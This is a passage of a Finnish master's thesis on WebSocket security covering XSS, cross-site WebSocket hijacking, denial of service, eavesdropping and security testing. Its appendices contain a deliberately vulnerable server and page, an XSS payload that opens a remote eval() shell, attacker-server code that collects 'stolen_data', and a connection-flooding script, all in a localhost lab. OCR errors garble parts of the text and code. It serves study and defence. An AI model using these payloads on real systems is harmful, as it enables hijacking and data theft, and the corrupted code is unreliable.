kiertdd monet protokollan turvatekijoistd, ja siten sitd voidaan kéyttdd pohjana useille
hyokkayksille. Haavoittuvuudella hyokkédja pystyy suorittamaan mielivaltaisen ennalta kirjoitetun
komentosarjakoodin uhrin selaimessa. Komentosarjakoodilla on mahdollista joko ylikirjoittaa
websocket-rajapinnan funktiot tai avata uusi websocket-yhteys hyokkédjan hallussa olevaan
palvelimeen. Liitteen 1. esimerkkiohjelmalla on todennettu molemmat néisté skenaarioista.

Viestien haltuun saamiseksi hyokk&ddja voi injektoidulla komentosarjakoodilla lisétd uuden
tapahtumakuuntelijafunktion avattuun websocket-yhteyteen tai kokonaan ylikirjoittaa websocket-
rajapinnan funktion onmessage(). Ylikirjoittamalla funktio verkkosovelluksen alkuperdinen
toiminta estyy. Hyokkddjd padsee siis kiertdimddn kayttdjan tunnistamisen ja viestien salaamisen.
Arkaluonteisen informaation hyokk&dja voi esimerkiksi ldhettdd omalle palvelimelleen.

Injektoidulla komentosarjakoodilla on mahdollista myos ldhettdd mielivaltaista tietoa suojatulle
palvelimelle uhrin nimissd vastaavalla tavalla. Télld kertaa hyokkddjd ylikirjoittaa funktion
sendmessage(). Palvelimen ndkokulmasta haitallisesta komentosarjakoodista ldhetetyt viestit eivit
eroa millddn tavalla oikeista viesteistd. Viestien ldhettdiminen voi tapahtua kéyttdjdn tunnistuksen
jélkeen, jolloin viestien oletetaan tulevan tunnistetulta kayttdjaltd, ja viestit kulkevat myos saman

TLS-kryptauksen yli jos sellainen méériteltiin kéttelyssa.
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Haitallisesta komentosarjakoodista voidaan myds avata websocket-yhteyden hyokkadjén
hallitsemalle palvelimelle. Hyokkédédjan palvelin on asetettava vastaanottamaan yhteyksid siitd
isdnndstd, johon komentosarjakoodi on injektoitu. Tdméd onnistuu asettamalla websocket-kéttelyn
paluuviestiin  esimerkiksi HTTP-otsake Accept-Origin arvolla 7*”. Cross-site scripting
-haavoittuvuuden estdmiseksi ei riitd pelkéstdén syotteen tarkastaminen asiakkaan pddssd, vaan

my0s palvelimen on tarkastettava kaikki syotteet.

5.4. Cross-site request forgery/websocketin kaappaaminen

XSS-haavoittuvuuteen rinnastettava verkkosivuhaavoittuvuus on Cross-Site request forgery,
lyhennettynd CSRF. Se mahdollistaa uhrin selaimesta ldhetettdvin HTTP-pyynnon luotettuun
isdntddn luottamattomasta kontekstista, jolloin hyokkééja voi saada aikaan ei-toivottuja operaatioita
palvelussa, johon kiyttdjd on kirjautunut. Cross-site scripting -haavoittuvuuden rinnalla cross-site
request forgery -haavoittuvuuksien hyvéksikdyttd on yleisimpid verkkohyokkéayksid [Maes et al.,
2009].

CSRF-haavoittuvuuden hyviksikdytdssd hyodynnetddn palvelimen luottamusta tunnistettuun
kayttdjaan ja selaimeen. Cross-site scripting -haavoittuvuus puolestaan perustuu luotetun isdnnéin
hyvéksikayttoon. CSRF-hyviksikaytto tapahtuu siten, ettd kdyttdja huijataan avaamaan haitallisen
komentosarjakoodin sisiltima sivu. Sivulta tehdddn HTTP-pyyntd luotettuun palvelimeen, jolloin
selain automaattisesti lihettda evésteet ja niiden siséltimat tunnistetiedot.

Cross-site request forgery -haavoittuvuuden ja sen hyvéksikdyon estdmiseksi on kehitetty useita
menetelmid [Czeskis and Moshchuk; Maes et al., 2009; Barth et al., 2008]. Sama-ldhde -periaate
liittyy ldheisesti CSRF haavoittuvuuteen estimiseen. Selain voi estdd CSRF-pyynnon, koska
pyynnon tekeva konteksti, eli komentosarjakoodin ldhteen isdnté ei ole sama kuin pyynnon kohteen
iséntd. Palvelin voi my0s estdd pyynnon ellei siind eksplisiittisesti sallita kutsua tietystd isdnnisti
HTTP-otsakkeella Allow-Origin. Cross-site request forgery -haavoittuvuuden hyvéksikaytossa
pyynto ldhetetddn tunnistamattomasta isdnnistd, jolloin pyynto voidaan hylata.

Websocket yhteys voidaan kaapata cross-site request forgery -tyylisesti ulkopuoliselta
sivustolta. Téllaisesta hyokkédyksestd voidaan kayttdd nimitystd websocketin kaappaaminen.
Kayttdjd voidaan esimerkiksi huijata avaamaan selaimella hyokk&éjan kontrolloima sivusto, josta
avataan websocket-yhteys palveluun, johon kayttdjd on jo kirjautunut sisdén. Tassd tilanteessa
tunnistetiedot ldahetetdén websocket-kéttelyssd palvelimelle, joka hyviksyy yhteyden jos yhteyden

kontekstin 1dhdettd ei tarkasteta. Yhteyden avaus onnistuu uhrin huomaamatta.
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GET /example HTTP/1.1
Host: www.esimerkki.com
Origin: www.hyokkaaja.com
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Key: ...
Cookie: ...

Listaus 9. Cross-site websocket hijack kattelypyynto

Websocket-yhteyden kaappaamisella hyokkddja pddsee hallitsemaan websocket-yhteytta.
Tavallisesta CSRF-hyokkéyksestd poiketen tdssd tapauksessa hyokkddjd saa tdyden kirjoitus- ja
lukuoikeuden palveluun. Tietoliikenteen kryptaaminen ei suojaa tidssd skenaariossa millddn tavalla,
silld kaapattu yhteys luodaan luotetun TLS-tason yli.

Kaappaamiselta voidaan suojautua ensinndkin huolehtimalla CSRF-haavoittuvuuden
poistamisesta aiemmin esitetyilld tavoilla ja tarkastamalla kittelypyynnon Origin-otsake kéttelyn ja
kiyttdjdn tunnistautumisen yhteydessd. Lisdksi kohdassa 5.2 esitetty tunnisteavaimeen perustuva

kiyttdjantunnistaminen on toimiva keino estdd websocket-yhteyden kaappaamisen.

5.5. Palvelunestohyokkays

Palvelunestohyokkédyksessd (engl. denial of service) pyritddn haittaamaan tai kokonaan
pysdyttimddn jonkin palvelun normaali toiminta esimerkiksi tukehduttamalla se suurella
viestilitkenteen madrélld. Viime vuosina palvelunestohyokkdyksid on tehtailtu suuren profiilin
palveluita vastaan, esimerkiksi pankkien verkkopalveluihin. Yleensd palvelunestohyokkayksessd
kiytetddn tarkoitukseen kehitettyd ohjelmaa eikd hyokkdykseen kéytetd selainpohjaisia
teknologioita.

Palvelunestohyokkéys voidaan kohdistaa eri protokollatasoille. Erds yleisimmistd muodoista
kohdistetaan TCP:n kéttelyprosessiin. TCP-kéttelyssd asiakas ldhettdd niin sanotun SYN-viestin,
johon palvelin vastaa SYN-ACK-viestilld. Asiakkaan tulee vastata SYN-ACK-viestiin ACK-
viestilld. Palvelin jai odottamaan SYN-ACK-viestin ldhettdmisen jélkeen asiakkaan varmistusta
tietyksi ajaksi. SYN-tulvaksi (engl. SYN flood) kutsuttu palvelunestohyokkdys pommittaa
palvelinta useilla SYN-viesteilld, mutta ei koskaan lahetd ACK-viestid. Palvelin jd4 odottamaan
viestejd, joita ei koskaan saavu.

Alemman tason protokolliin kohdistuviin palvelunestohydkkéyksien torjumiseen on kehitetty
suodatusmenetelmii, joilla pyritddn hylkdamédn hyokkdyksen lahettamét viestit. Sovellustasolla
tehtéville hyokkayksille tilanne on vaikeampi, silld oikeita pyyntdjd on vaikeampi erottaa
hyokkayksesti [Srivatsa ef al., 2008].

SYN-tulvan kaltainen palvelunestohyokkdys toteutetaan yleensé tarkoitusta varten kehitetylld
ohjelmalla. Palvelunestohyokkdys usein toteutetaan hajautettuna (Distributed Denial of Service),

jotta hyokkdyksen vaikutus olisi suurempi kuin yksittdisen toimijan tekemdnd. Hyokkédyksen



47

toteuttava ohjelma voidaan levittdd uhrien tietokoneelle heidén tietimaéttd haittaohjelmana tai
joissakin tapauksissa henkil6t tietoisesti suorittavat hyokkéayksen.

Websocket-protokollalla voidaan avata kédytdnndssd rajaamaton maddrd yhteyksid yhdelle
palvelimelle, joten protokollaa voidaan periaatteessa hyddyntdd selaimesta tehtivddn
palvelunestohyokkdykseen. Websocket-protokollamééritelméd ei anna rajoitteita yhteyksien
lukuméérdin ja nykyisellddn useimmilla selaimilla voidaan avata jopa satoja websocket-yhteyksié
samaan isdntddn. Hajautettuna esimerkiksi XSS-injektiona suosittuun sivustoon websocket-
pohjaisen palvelunestohyokkédyksen toteuttava komentosarjakoodi voisi halvaannuttaa kohteena
olevan palvelun.

Periaatteessa  kaksisuuntaisella ~ websocket-protokollalla  voidaan toteuttaa  kddnnetty
palvelunestohyokkiys, jossa palvelin ldhettdd suuren midrd viesteji asiakasohjelmaan.
Hyokkéyksen uhrin selaimesta voidaan avata hyokkayksen aloittava websocket-yhteys hyokkééjan
palvelimelle aiemmin esitettyjen haavoittuvuuksien kautta. Kéytdnnossa téllainen hyokkays saattaisi

saada aikaan kayttdjan selaimen kaatumisen.

5.6. Tiedon salakuuntelu

Internetissd litkkuvaa tietoa on mahdollista paitya vélikdsien haltuun ilman, etti tiedon 1dhettdja tai
vastaanotta huomaamista. Tiedon salakuuntelu (engl. man in the middle) kohdistetaan
verkkoinfrastruktuuriin. Hyokkdyksen tavoite on saada haltuun hyokkadjille kuulumatonta tietoa.
Tietoliikenteen kryptaamisella voidaan estdd vélikdsid lukemasta viestien sisiltod. Hyokkadjaa siis
pystyy lukemaan viestit, mutta ilman kryptausavainta sisilt6 on lukukelvoton.

Georgiev ja muut [2012] tutkivat useita suosittuja ja laajasti kéytettyja TLS/SSL-tason
toteuttavia avoimia kirjastoja. He raportoivat vakavista puutteista kirjastojen toteutuksessa. Gajek ja
muut [2008] puolestaan osoittavat, ettd TLS/SSL-salaus teoreettisesti takaa varman suojauksen
arkaluontoiselle tiedolle. Kevaélld 2014 suositussa OpenSSL-kirjastossa, jota myds Georgiev ja
muut olivat tutkineet, ilmeni vakava tietoturva-aukko. Ohjelmointivirhe kirjastossa mahdollisti
hyokkadjan lukea palvelimen muistia.

Websocket-protokollaméaritelmain kuuluva salattu muoto luo yhteyden TLS-tason yli, jolloin
liikkenne salataan. Kuten on esitetty, TLS-salaus estdd vilikdsid lukemasta tietoa, mutta TLS-tason
toteutukseen on kiinnitettdvd huomiota.

Websocket-protokollaméaritelmdan mukaan asiakkaan ldahettdmé viestit naamioidaan, jolloin
viestien siséltd ei ole selkomuodossa. Asiakkaan l4hettdimien viestien naamioinnilla ei kuitenkaan
voida estdd tiedon salakuuntelua, silld naamiointialgoritmin mééritelmd on osa avointa
protokollamééritelmdd ja naamiointiavain kulkee viestin mukana. Naamiointia ei olekaan

tarkoitettu tiedon salaamiseen vaan vilityspalvelinten suojaamiseen, kuten aiemmin esitettiin.
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5.7. Komentoriviyhteys websocket-teknologialla

Kuten aiemmissa kohdissa on esitetty, websocket-yhteys voidaan saada hyokkééjan haltuun usealla
tavalla kdyttden hyvéksi valitettavan usein verkkosovelluksissa esiintyvid haavoittuvuuksia. Néin
tapahtuessa kayttdjan yksityinen tieto voi padtyd hyokkddjan haltuun tai hyokkaddja voi esiintyd
uhrina verkkopalveluissa. Websocket-yhteyden hallinnalla voidaan myds saada aikaan tilanne, jossa
hyokkidja voi suorittaa mielivaltaisesti JavaScript-komentoja uhrin selaimessa kéytdnnossa
reaaliajassa. HyOkkayksestd kéytetddn nimitystd websocket-komentorivi.

Websocket-komentorivi voidaan toteuttaa hyvéksi kéyttdmélld esimerkiksi Cross-site scripting
-haavoittuvuutta. Hyokk&dja injektoi yksinkertaisen komentosarjakoodin johonkin luotettuun
palveluun, josta komentosarjakoodi levidd uhrien selaimeen. Komentosarjakoodilla avataan yhteys
hyokkadjan palvelimeen. Hyokk#dja voi asettaa palvelimen ottamaan vastaan yhteyksid mistd
tahansa kontekstista. Tamin lisdksi haitallinen komentosarjakoodi kéyttdd hyviksi JavaScript-
rajapinnan funktiota eval(). Funktio ottaa parametrina minkd tahansa mielivaltaisen merkkijonon,

joka tulkitaan suoritettavaksi JavaScript-koodiksi.

var homeSocket = Websocket("ws://hyokkaaja.org");

homeSocket.onmessage = function(event) {
eval(event.data);

}s

Listaus 10. Websocket-komentorivi koodiesimerkki.

Tallaisella yhteydelld hyokkadja saa huomattavasti kyvykkddmmaén yhteyden uhrin selaimeen.
Websocket-komentorivin kautta hyokkadja voi kdynnistdd muita hyokkdyksid. Websocket-

komentorivi saadaan aikaan hyviksi kdyttamalld Cross-site scripting -haavoittuvuutta.

5.8. Testaamisesta

Téarked osa ohjelmistokehitystd on kattava testaaminen, jolla varmistamaan ohjelmiston laatu ja
pyritddn osoittamaan ohjelman toiminnan oikeellisuus eli, ettd ohjelma toimii sen maéiritelméin
mukaisella tavalla. Yleisesti testaamisella pyritdén paljastamaan ohjelmasta virheitd, mutta etenkin
verkkosovelluksien testaamisella yritetdin my0s 10ytdd tietoturvahaavoittuvuuksia ennen
sovelluksen julkaisemista. Verkkosovellusten tietoturvatestaamisen on kehitetty ja tutkittu erilaisia
heuristiikkoja ja niiden testaamisen tekee haastavaksi se, ettd sovellukset koostuvat erillisistd
kayttoliittymd- ja palvelinsovelluksista. Lisdksi verkkokayttliittymdt rakentuvat useista
ohjelmointiteknologioista: esitystasosta (useimmiten HTML ja CSS), toiminnallisuustasosta
(komentosarjakielet kuten JavaScript) ja yhteystasosta- ja protokollista (HTTP, AJAX, websocket).
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Jokaiselle tasolle on useita valittavia teknologioita, ja verkkosovellusten kehitystekniikoiden kirjo
tuskin tulee tulevaisuudessa kaventumaan.

Ohjelmistotestaaminen voidaan jakaa black box ja white box -testaukseen. Black box
-testauksessa sovellusta késitelldin monoliittisena kokonaisuutena. White box -testauksessa
padstdédn kasiksi ohjelmanldhdekoodiin, eli sen sen algoritmeihin ja tietorakenteisiin. Tripp ja muut
[2013] raportoivat Web Application Security Consortiumin kartoituksen hélyttdvistd 10ydoksistd
uusimpien tietoturvatratkaisujen kyvyssd havaita tietoturva-aukkoja. He esittelevdt parannetun
ratkaisun black box -testaamiseen, joka on koneoppimiseen perustuvan ldhestymistavan
verkkosovellusten turvallisuustestaamiseen. Wassermanin ja Sun [2008] esittimd staattinen
testausmenetelmé on yksi tapa tuoda esiin tietoturvaongelmia, mutta kuten Shahriah ja Zulkerine
[2009] osoittavat, pelkkd staattinen testaus ei yksistddn ole riittava.

Li ja muut [2014] ovat perehtyneet edellisten vuosikymmenten aikana kehitettyihin
testausheuristiikkoihin ja he kokoavat tutkimuksessaan yhteen useita erilaisia menetelmié vertaillen
niitd keskendén. He ryhmittelevit testausheuristiikat kahdeksaan ryhméén, jotka eroavat toisistaan
syotteen, tulosteen ja lopetusehtojen perusteella. Ryhmét ovat:

1. Tietomalliin ja graafiin perustuva testaus (engl. model and graph based testing)
Mutaatiotestaus (engl. mutation testing)

Etsintéperustainen testaus (engl. search-based testing)

Kartoitukseen ja indeksointiin perustuva testaus (engl. scanning and crawling)
Satunnaistestaus (engl. random testing)

Sumeatestaus (engl. fuzz testing)

Konkreettis-symbolinen testaus (engl. concolic testing)

® NNk D

Kayttdjdistunto pohjainen testaus (engl. user-session based testing).

Tietomalliin ja graafiin perustuvassa testausheuristiikassa sovelluksesta rakennetaan
sananmukaisesti malli, jonka pohjalta testitapaukset rakennetaan. Malli kuvataan &irellisend
tilakoneena. Mutaatiotestauksessa sovelluksen ldhdekoodiin tuodaan satunnaisia muutoksia eli
mutaatioita ja tutkitaan, havaitsevatko testitapaukset mutaatioita. Mutaatiotestaus pystyy 10ytdméén
yleisimmét ja harvinaisimmat virheet ohjelmasta. Etsintdperustaisessa testauksessa pyritddn
kattamaan ohjelman kaikkien haarojen testaus systemaattisesti. Kartoitukseen ja indeksointiin
perustuvalla testauksella sovellukselle annetaan haitallista ohjelmakoodia siséltavid sydtteitd, minka
seurauksena mahdollisesti tapahtuvia muutoksia tarkkaillaan. Satunnais- ja sumeatestauksessa
ohjelmalle annetaan satunnaissyotteiti tai raja-arvosyotteitd ja ohjelman kayttdytymisti
tarkastellaan nédiden yhteydessd. Konkreettis-symbolisessa testauksessa satunnaissyotteilld pyritdén
havaitsemaan ennaltaodottamattomia ohjelman suorituksen haarautumia.
Kiyttdjdistuntotestauksessa tallennetaan kéyttdjdn antamat syotteet ja tutkitaan ohjelman

kayttdytymistd niiden yhteydessa.
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Li ja muut toteavat, ettd yksikddn yksittdinen heuristiikka ei pysty tyhjentdvésti todentamaan
verkkosovelluksen virheettomyyttd. Toiset heuristiikat, kuten mutaatiotestaus, kartoitukseen ja
indeksointiin perustuva testaus ja sumeatestaus ovat parempia virheiden 16ytdmiseen ohjelmasta,
kun taas toiset ovat tehokkaampia osoittamaan, onko sovellus testattu kattavasti.

Wassermanin ja Sun esittelemd mutaatioithin perustuva testiheuristilkka on hyvin
samankaltainen kuin Lin ja muiden ryhmityksen muutaatiotestaus. Kuten Wasserman ja Su
osoittavat, mutaatiotestauksella mahdollistetaan XSS-haavoittuvuuksien paljastuminen.

Testaamisella ei koskaan voida osoittaa, ettd sovellus on tdysin puhdas haavoittuvuuksista.
Tadmai vaatisi kaikkien mahdollisten syotteiden lapikdymistd, mikd ei ole milldén tavalla relistista
[Li et al., 2014; Stamm et al., 2010]. Pelkéstdin haavoittuvuuksien olemassaolo voidaan osoittaa
testaamisella ja siten niithin on mahdollista reagoida ennen sovelluksen julkaisemista. Ohjelmistojen
kehittiminen tapahtuu nykyisin enimmédkseen ketterilldi menetelmilld. Jatkuva tietoturvan

testaaminen on elintarkea osa etenkin kriittisten sovellusten kohdalla.
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6. Loppupiitelmat

Avoimen websocket-protokollan ominaisuudet tuovat paljon mahdollisuuksia
verkkosovelluskehittéjille, joten se varmasti tulee yleistyméén tulevaisuudessa. Uuden teknologian
kanssa on kuitenkin syytd kiinnittdd erityisti huomiota tietoturvaan. Tdssd tutkielmassa esitetyt
tietoturvallisuusseikat on syytd ottaa huomioon webscoket-protokollaa kiyttdvan verkkosovelluksen
kehittdmisessa.

Kaésite hakkerointi (engl. hacking) liittyy ldheisesti etenkin verkkosovellusten tietoturvaan.
Hakkerointi itsessdén on eettisesti neutraali termi ja silld tarkoitetaan yksinkertaisesti sité, ettd jokin
ohjelma saadaan toimimaan tai kdyttdytymidn tavalla, jolla sen alkuperdiset kehittdjat eivit ole
tarkoittaneet ohjelmaa kéytettdvan. Hakkerointi ei siis ldhtokohtaisesti tarkoita paha-aikeista
toimintaa. Eettiselld hakkeroinnilla yleensd etsitddn haavoittuvuuksia olemassa olevista
jarjestelmistd hyviksikdyttotapausten ehkdisemiseksi. Tésséd tutkielmassa ja sen liitteessd esitetyt
haavoittuvuudet ja niiden hyviksikdyttotapaukset ovat pelkéstddn havainnointitarkoitukseen.
Kirjoittaja ei missddn nimessd kehota ketddn kayttimddn esitettyjd menetelmid hyokkayksissa
verkkopalveluja vastaan.

Erds mielenkiintoinen tutkimuskohde, jota tdssd tutkielmassa ei késitelty, on websocket-
protokolla TOR-verkossa (The Onion Routing). TOR-protokolla takaa (ldhes) tdydellisen
anonymiteetin verkossa litkkujalle ja se on télld hetkelld perustavanlaatuinen protokolla useilla
Internetin sovelluksilla. TOR-protokollan tuoma nimettdmyys perustuu useiden vélityspalvelimien
kautta piilotettuihin pyyntoihin.

Tassd tutkielmassa analysoitiin pddasiassa selainhaavoittuvuuksiin liittyvid tietoturva-aukkoja.
Websocket-protokollan palvelinpddn tietoturvaa tulisi my0s tarkastella erityisen huolellisesti
erillisessd tutkimuksessa. Palvelinsovelluskehyksid on valtava méaérd ja niistd olisi syytd tehda
kartoitus kuinka hyvin protokollamiiritelmid noudatetaan. Websocket-protokolla todenndkdisesti
tulee vield eldmiddn ja saattaa etddntyd HTTP-protokollasta, jolloin sen tietoturvaominaisuuksia

tulee tarkastella uudelleen.
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Liite 1. Koodiesimerkki haavoittuvasta websocketpalvelimesta

//  Spring 2014
// Websocket security analysis
// Part of masters thesis by Tomi Fagerlund

// Unsecure Websocket server

var http = require('http');
var url = require('url');

var fs

require('fs');

var io = require('socket.io');
var handlebars = require('handlebars')

var port

var server

8001;

= http.createServer(function(request, response) {

var path = url.parse(request.url).pathname;
var query = url.parse(request.url).query;

switch (path) {

data) {

case '/':
response.writeHead(200, {'Content-Type': 'text/html'});
response.write('This is unsecured example of websocket server');
response.end();
break;

case '/socket.html':
fs.readFile(__dirname + path, {'encoding': 'utf-8'}, function(error,

if (error) {
response.writeHead(404);
response.write('Resource was not found');
response.end();

} else {

var template = handlebars.compile(data);

var msg = "";

if (query !== null) {
// XSS vulnerability if query is not sanitised properly.
msg = query;

} else {
msg = "";

}

var html = template({message: msg});
response.writeHead("Access-Control-Allow-Origin: *");
response.writeHead (200, {'Content-Type': 'text/html'});
response.write(html, 'utf8');

response.end();

}
})s
break;
default:

response.writeHead(404);
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response.write('NOT FOUND');
response.end();
break;

1)

server.listen(port);
console.log('Server created. Listening port

+ port);

var ws = io.listen(server);
ws.set('log level', 1);

ws.set('authorization', function(handshake, callback) {
// Handshakes origin header should be checked here.
callback(null, true);

1)

ws.on('connection', function(socket) {
console.log("New websocket connection");
console.log(socket.handshake)

setInterval(function() {
socket.emit('date', {'date': new Date()});
}, 1000);

socket.on('client_data', function(data) {
process.stdout.write(data.letter);
})s
1
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Liite 2. Koodiesimerkki haavoittuvasta verkkosivusta

<html>
<head>
<script src="/socket.io/socket.io.js"></script>
<script
src="https://ajax.googleapis.com/ajax/1libs/jquery/1.7.2/jquery.js"></script>
<title></title>
</head>
<body>
<script type="text/javascript">
var socket = io.connect();
socket.on('date', function(data) {
$('#date').text(data.date);
})s

$(document).ready(function() {
$('#text').keypress(function(e) {
socket.emit('client_data’', {'letter':
String.fromCharCode(e.charCode)});

})s
})s
</script>
<div>
<hl>Socket.html</hl>
</div>
<textarea id="text"></textarea>
<div>
<l-- script is injected here -->
{{{message}}}
</div>
<div id="date"></div>

</body>
</html>
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Liite 3. Cross-site scripting komentosarjakoodi

// This script could be injected as XSS
var homeSocket = io.connect("ws://localhost:8002");

// Websocket shell access using JavaScripts eval() function.
homeSocket.on('exec', function(data) {

eval(data);
1

// Override original socket

socket.on('date', function(data) {
$('#date').text(data.date);
homeSocket.emit('stolen_data', {'date': data.date});

1
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Liite 4. Hyokké#jan websocket-palvelin

//  Spring 2014
// Websocket security analysis
// Part of masters thesis by Tomi Fagerlund

// Attackers server that is used in websocket exploitations.

var http = require('http');
var url = require('url');

var fs = require('fs');

var io = require('socket.io');

var port = 8002;

var server = http.createServer(function(request, response) {
var path = url.parse(request.url).pathname;
switch (path) {
case '/xss.js':
fs.readFile(__dirname + "/xss.js", function(error, data) {
if (error) {
response.writeHead(404);
response.write('Not found');
response.end();
} else {
response.writeHead(200, {'Content-Type': 'text/javascript'});
response.write(data, 'utf8');
response.end();

}
})s

break;

case '/evil.html':
fs.readFile(__dirname + path, function(error, data) {
if (error) {
response.writeHead(404);
response.write('Not found');
response.end();
} else {
response.writeHead(200, {'Content-Type': 'text/html'});
response.write(data, 'utf8');
response.end();
}
})s

break;

default:
response.writeHead(404);
response.write('NOT FOUND');
response.end();
break;

1)
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server.listen(port);
console.log('Evil Server created. Listening port ' + port);

var ws = io.listen(server);
ws.set('log level', 1);
ws.on('connection', function(socket) {

console.log("New connection");
socket.emit('exec’, "alert(\"Seriously hacked\");");

// Sensitive data is acquired.
socket.on('stolen_data', function(data) {
console.log(data);
})s
1)
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Liite 5. Hyokkéijan verkkosiva

<html>
<head>
<script src="/socket.io/socket.io.js"></script>
<script
src="https://ajax.googleapis.com/ajax/1libs/jquery/1.7.2/jquery.js"></script>
<title></title>
</head>
<body>
<script type="text/javascript">

// Connection to server is hijacked and all authorization data is sent as
well

// Authentication succeeds because cookies etc. are sent to server with
handshake

// The server should check Origin header

var victimUrl = "ws://localhost:8001";
var homeUrl = "ws://localhost:8002";

var hijackedSocket = io.connect(victimUrl);
var homeSocket = io.connect(homeUrl);

hijackedSocket.on('date', function(data) {
$('#date').text(data.date);
// Sensitive data could be sent to some other server
homeSocket.emit('stolen_data', {'date': data.date});
})s

// This DoS-script could also be injeced in XSS.
$(document).ready(function() {
$('#dos-button').on('click"', function() {
for (var i = 0; 1 < 1000; i++) {
io.connect(victimUrl, {'force new connection': true});

}
})s
})s
</script>
<div>
<h1>This site is evil. You shouldn't come here</hl>
</div>

<div id="date"></div>

<button id="dos-button">Start denial of service</button>
</body>
</html>



